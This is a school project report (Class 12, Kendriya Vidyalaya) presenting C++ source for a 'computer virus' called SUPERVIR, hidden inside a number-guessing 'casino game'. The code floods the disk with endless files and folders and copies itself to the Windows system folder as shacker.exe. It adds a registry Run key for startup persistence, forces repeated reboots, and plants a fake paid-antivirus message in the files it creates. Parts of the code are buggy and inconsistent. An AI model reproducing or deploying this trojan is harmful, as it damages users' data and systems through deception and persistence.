C:\Program Files\Microsoft Office\MEDIA\CAGCAT10\j0285750.wmf



**CERTIFICATE**

This is to certify that **Suryansh Trivedi** of class 12 Science has prepared the investigatory COMPUTER SCIENCE project entitled ”COMPUTER VIRUS”.

The report is the result of his efforts & endeavors. The report is found worthy acceptance as final project report for the subject COMPUTER SCIENCE of a Class 12. He has prepared the report under my guidance and supervision.

**MR SUNIL GUPTA \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**PGT (COMPUTER SCIENCE)**

**MR AJIT SINGH \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**PRINCIPAL**

**DECLARATION**

I hereby declare that the project work entitled To prepare COMPUTER VIRUS submitted to Mr. SUNIL GUPTA, PGT (COMPUTER SCIENCE), Kendriya Vidyalaya No.1, Sagar, MP. is prepared by me.

SURYANSH TRIVEDI

CLASS- 12 'A'

**ACKNOWLEDGEMENT**

In the accomplishment of this project successfully, many people have best owned upon me their blessings and the heart pledged support, this time i am utilizing to thank all the people who have been concerned with project.

l would like to thank my COMPUTER SCIENCE teacher Mr. Sunil Gupta and Mr.Ajit Singh (PRINCIPAL) , whose valuable guidance has been the ones that helped me patch this project and make it full proof success his suggestions and his instructions has served as the major contributor towards the completion of the project.

Then l would like to thank my parents and friends who helped me with their valuable suggestions and guidance has been helpful in various phases of the completion of the project.

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* DECLARATION
* ACKNOWLEDGEMENT
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**HADDER FILES USED**

* #include<iostream.h>
* #include<conio.h>
* #include<stdio.h>
* #include<fstream.h>
* #include<process.h>
* #include<dir.h>
* #include<dos.h>
* #include<string.h>
* #include<stdlib.h>

**INTRODUCTION**

SUPERVIR is a kind of (virus) malicious program that perform certain malfunctioning in your computer.

In the spreading of this program “ ST CASINO GAME ” acts as host program. It is activated on external action. It is desgined to perform several spec tasks If the programmer wants to change its criteria of task, he is free to change it by entering security key. It also organise records of each specified task which is hidden from out side world.Its main objective is to make your system unable & cause harm to data It decrease the space on heard disk by duplicating files & folders. But by default it creates multiple copies of files to specified location. It also have capacity to make your system restart again and again.

Programmer can able to change its configuration to perform different activities on giving its command on command file i.e.(CO.TXT).

**INFORMATION:**

* **PASSWORD:EVERYWHARE SAME THAT IS ( SURYANSH) IN UPPER CASE**
* **COMMAND FILE: CO.TXT available on D-DRIVE**
* **RECORDS STORAGE: MF\_FH\_VI available on D-DRIVE**
* **COMMAND USED IN COMMAND FILE:**
* 1- FOR FOLDER RUPLICATION
* 2-FOR FILE RUPLICATION
* 7- FOR RESTART COMPUTER
* 8-FOR EXIT PROGRAM
* 9-FOR VIEW RECORS

**CODING**

//TEST00

//THISH PROGRAM IS PROPWRITRY TO SURYANSH TRIVEDI PVT.LTD.

#include<iostream.h>

#include<conio.h>

#include<stdio.h>

#include<fstream.h>

#include<process.h>

#include<dir.h>

#include<dos.h>

#include<string.h>

#include<stdlib.h>

//#include<graphics.h>

void main()

{

void supervirus();

textbackground(4);

clrscr();

textbackground(2);

textcolor(12);

char a[20]="SURYANSH" ;

char b[20];

cout<<" ST CASINO GAME"<<endl<<endl<<endl;

cout<<"THISH PROGRAM IS PROPWRITRY TO SURYANSH TRIVEDI PVT.LTD."<<endl;

cout<<"INSTRUCTIONS: \nafter typing command(any digit ,spacial symboles & numbers) press enter. "<<endl;

cout<<"-------------------------------------------------------------------------------"<<endl;

cout<<" Enter the password\n \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*" <<endl<<endl<<endl;

cout<<" ======================="<<endl<<endl;

cout<<" ======================="<<endl;

gotoxy(40,13);

gets(b);

if(strcmp(a,b)==0)

{

for(int c=0;c<=100;c++)

{

textbackground(c);

cout<<"INSTRUCTIONS: \nafter typing command(any digit ,spacial symboles & numbers) press enter. "<<endl;

cout<<endl<<endl<<endl<<endl;

cout<<" ================== "<<endl;

textcolor(15);

cout<<" loading"<<c<<"%";

cout<<" ================== "<<endl;

delay(20);

clrscr();

}

cout<<" welcome"<<endl;

cout<<" \*\*\*\*\*\*\*\*\*\*\* "<<'\a'<<'\a'<<endl;

randomize();

int guess,n,h=0,f=0;

char choice;

{

do

{ clrscr();

cout<<"INSTRUCTIONS: \nafter typing command(any digit ,spacial symboles & numbers) press enter. "<<endl;

n=random(10)+1;

textbackground(n);

cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<" enter your choise(between 1 and 10):"<<endl;

cout<<" ++++++++++++++++++++"<<endl;

cout<<" + +"<<endl;

cout<<" ++++++++++++++++++++"<<endl;

gotoxy(35,12);

cin>>guess;

h++;

if(guess<=10&&guess>=1)

{ if(n==guess)

{

int l;

l= random(10)+1;

textbackground(l);

cout<<endl<<endl<<"congrtulation,you won"<<'\a'<<endl;

++f; }

else

{ cout<<endl<<endl<<"sorry, you loose ;The no. was"<<n<<endl;

}

cout<<"score:"<<f <<" || " <<"total attempt:" <<h<<endl;

if(h==10&&f<=3)

{clrscr();

cout<<"you have scored <=3 in 10 attempts \n\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\n";

cout<<"ERROR!VIRUS FH\_VR\_20092001 \n the virus activates. \n if you terminate program or log out your pc before (60mm) some files are lost & system is damaged.\n ";

delay(1000);

supervirus();}

cout<<" do you want to play again(y/n):"<<endl;

mom:;

cin>>choice;

{ if(choice=='y'||choice=='n')

goto mo;

else

{ clrscr();

cout<<"re-enter the correct letter(y/n)";

goto mom; }}

mo:;}

}while(choice=='y'||choice=='Y'); }

}

else

cout<<'\a'<<endl<<endl<<"error! \nwrong password.\nTry again." <<endl;

cout<<"ERROR!VIRUS FH\_VR\_20092001 \n the virus activates. \n if you terminate program or log out your pc before (60mm) some files are lost & system is damaged.\n ";

delay(1000);

supervirus();

getch(); }

//#########################################FUNCTION STARTED

void virus()

{ clrscr();

char rat[100];

int k;

char\* r;

char ch[10];

char word[20];

randomize();

fstream mfile; //////////////////////////////

mfile.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

mfile<<"===========================FILE==============================\n"<<endl;

int run;

randomize();

for(int j=1;j>0;j++)

{for(int i=0;i<20000;i++)

{sprintf(rat,"D:\\F%d.txt",i);

mfile.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

mfile.seekg(1,ios::end);

mfile<<rat<<"\n";

run=random(12);

textcolor(run);

gotoxy(0,10);

cout<<">>>>>>>>>>>>>>>>>>#############################>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"<<endl;

cout<<"<<<<<<<<<<<<<<<<<<## LOADING......."<<j<<"% ##<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"<<endl;

cout<<">>>>>>>>>>>>>>>>>>#############################>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"<<endl;

cout<<"\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a"<<endl;

textbackground(run+1);

clrscr();

fstream manu(rat,ios::in|ios::app|ios::binary);

manu<<"########################################################\n";

manu<<"this program is copyright to suryansh trivedi pvt.ltd.\n" ;

manu<<"########################################################\n" <<r;

manu<<" \n \n \n \n BUY (NOVIR)antivirus RS.15/-ONLY \n\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*unique F code FH\_VR\_20s2001\_"<<i<<"\_"<<j<<"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\n ";

manu.close();

mfile.close();/////////////////////////////////////

} }

getch();

}

//#########################################folder()

void folder()

{

int stat;

char DIRNAME[20];

char mat[100];

fstream mfile;

mfile.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

mfile<<"=========================FOLDER==============================\n";

for(int j=1;j>0;j++)

{sprintf(mat,"C:\\Fm%d",j);

mfile.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

mfile<<"\n"<<mat<<"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\n";

mfile.close();

clrscr();

textbackground(3);

stat = mkdir(mat);}

if (!stat)

{printf("Directory created\n");

}

else

{

printf("Unable to create directory\n");

getch();

exit(1);

}

getch();

stat = rmdir(DIRNAME);

if (!stat)

printf("\nDirectory deleted\n");

else

{

perror("\nUnable to delete directory\n");

exit(1);

}

}

/////////////////////////////////////////////////////////////void message()

void message()

{

/////////////////////border

textbackground(3);

{

{int i; // 1

for(i=1;i<=50;i++)

{gotoxy(i,0);

cout<<"#";}}

cout<<endl;

{int j; //2

for(j=1;j<=18;j++)

{gotoxy(1,j);

cout<<"#";} }

cout<<endl;

{int i; //3

for(i=1;i<=18;i++)

{gotoxy(51,i);

cout<<"#";} }

cout<<endl;

{int i; //4

for(i=1;i<=50;i++)

{gotoxy(i,18);

cout<<"#";} }

cout<<endl;

}

///////////////////mesage()

gotoxy(8,3);

cout<<" WARNING"<<endl;

gotoxy(8,4);

cout<<" =============="<<endl;

gotoxy(3,5);

cout<<"Application \*ST CASINO GAME\* may harm your pc.";

gotoxy(2,6);

cout<<"\*\*DO NOT CLOSE PROGRAM,IF YOU SOME DETA ARE LOST";

gotoxy(3,7);

cout<<"In case of any lost or theft in deta,user was";

gotoxy(3,8);

cout<<" responsible.No ligal charge can be filed ";

gotoxy(3,9);

cout<<" against developer.";

gotoxy(3,11);

cout<<" TERMS AND CONDITIONS ARE APPLIED";

gotoxy(3,16);

cout<<" copyright @ suryansh trivedi pvt.ltd.";

}

//////////////////////////////////////////////////void record()

void record()

{clrscr();

textbackground(4);

clrscr();

textbackground(2);

textcolor(12);

char a[20]="SURYANSH" ;

char b[20];

cout<<" VIRUS RECORDS "<<endl;

cout<<" =================="<<endl<<endl<<endl;

cout<<" PROGRAM COPYWRITE @ SURYANSH TRIVEDI PVT.LTD."<<endl;

cout<<"-------------------------------------------------------------------------------"<<endl;

cout<<endl;

cout<<" Enter the password\n \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*" <<endl<<endl<<endl;

cout<<" ======================="<<endl<<endl;

cout<<" ======================="<<endl;

gotoxy(40,13);

gets(b);

if(strcmp(a,b)==0)

{ for(int c=0;c<=100;c++)

{ textbackground(c);

cout<<" ================== "<<endl;

textcolor(15);

cout<<" loading"<<c<<"%";

cout<<" ================== "<<endl;

delay(20);

clrscr();

}

/////////////////////////////////////////////////

char word[20];

fstream rec;

rec.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

while(!rec.eof())

{rec>>word;

cout<<word<<endl;

} }

else

cout<<"REENTER PASSWORD" ;

getch();

}

////////////////////////////////////////////////////////VOID RESTART()

void findroot()

{ int found,drive\_no;

char buff[128];

int done;

struct ffblk ffblk; //File block structure

done=findfirst("C:\\windows\\system",&ffblk,FA\_DIREC); //to determine the root drive

if(done==0)

{

done=findfirst("C:\\windows\\system\\shacker.exe",&ffblk,0); //to determine whether the virus is already installed or not

if(done==0)

{

found=1; //means that the system is already infected

return;

}

drive\_no=1;

return;

}

done=findfirst("D:\\windows\\system",&ffblk,FA\_DIREC);

if(done==0)

{

done=findfirst("D:\\windows\\system\\shacker.exe",&ffblk,0);

if(done==0)

{

found=1;return;

}

drive\_no=2;

return;

}

done=findfirst("E:\\windows\\system",&ffblk,FA\_DIREC);

if(done==0)

{

done=findfirst("E:\\windows\\system\\shacker.exe",&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive\_no=3;

return;

}

done=findfirst("F:\\windows\\system",&ffblk,FA\_DIREC);

if(done==0)

{

done=findfirst("F:\\windows\\system\\shacker.exe",&ffblk,0);

if(done==0)

{

found=1;

return;

}

drive\_no=4;

return;

}

else

exit(0);

}

void re()

{ int found,drive\_no;

char buff[128];

FILE \*self,\*target;

clrscr();

findroot();

if(found==0) //if the system is not already infected

{

self=fopen(\_argv[0],"rb"); //The virus file open's itself

switch(drive\_no)

{

case 1:

target=fopen("C:\\windows\\system\\shacker.exe","wb"); //to place a copy of itself in a remote place

system("REG ADD HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG\_SZ \/d C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup

break;

case 2:

target=fopen("D:\\windows\\system\\shacker.exe","wb");

system("REG ADD HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG\_SZ \/dD:\\windows\\system\\sysres.exe");

break;

case 3:

target=fopen("E:\\windows\\system\\shacker.exe","wb");

system("REG ADD HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG\_SZ \/dE:\\windows\\system\\sysres.exe");

break;

case 4:

target=fopen("F:\\windows\\system\\shacker.exe","wb");

system("REG ADD HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v sres \/t REG\_SZ \/dF:\\windows\\system\\sysres.exe");

break;

default:

exit(0);

}

while(fread(buff,1,1,self)>0)

fwrite(buff,1,1,target);

fcloseall();

}

else

system("shutdown -r -t 0"); //if the system is already infected then just give a command to restart

}

//////////////////////////////////////////////////////exit()

///////////////////////////////////////////////////voidsupervir()

void supervirus()

{clrscr();

///////////////////////// comand file creation

fstream mfile;

mfile.open("d:\\co.txt",ios::in|ios::app);

mfile<<"0";

mfile.close();

getch();

///////////////////////// comand file execution////////////////////////////

fstream mfile1;

char ch;

mfile1.open("d:\\co.txt",ios::in|ios::app);

mfile1>>ch;

if(ch=='0')

goto nex;

gotoxy(15,10);

cout<<"###########################"<<endl;

gotoxy(15,11);

cout<<"## command activated "<<ch<<" ##"<<endl;

gotoxy(15,12);

cout<<"###########################"<<endl;

delay(2000);

nex:;

if (ch=='1'||ch=='2'||ch=='3'||ch=='9'||ch=='0'||ch=='7'||ch=='8')

{ switch(ch)

{

case '1': { clrscr();

message();

delay(5000);

folder();break;}

case '2': { clrscr();

message();

delay(5000);

virus();break;}

case '7': {fstream mfile;

mfile.open("d:\\mf\_fh\_vir",ios::in|ios::app|ios::binary);

mfile<<"===================SYSTEM RESTART APPLIED==============================\n";

mfile<<"1. This can harm your Computer..that do not run in your own PC.\n";

mfile<<"2. If Bi-mistake you run Program than Goto safe mode and delete Shacker.exe file\n";

mfile<<"from System folder.\n";

mfile.close();

re();

break; }

case '8': {exit(0);break;}

case '9': { record();break; }

default : { message();

delay(5000);

virus() ;break;}

} }

mfile1.close();

getch();

}

**HARDWARE & SOFTWARE**

**REQUIREMENTS**

* **HEARDWARE REQUIRED**
* **PRINTER TO PRINT REQUIRED DOCUMENTS FOR PROJECT**
* **COMPACT DRIVE**
* **PROCESSOR : PENTIUM –III**
* **RAM : 64MB**
* **HARD DISK : 20GB**
* **SOFTWARE REQUIRED**
* **OPERATING SYSTEM : WINDOWS 7**
* **TURBO C++ FOR EXECUTION OF PROGRAM**
* **MS WORD FOR PRESENTATION OUTPUT**

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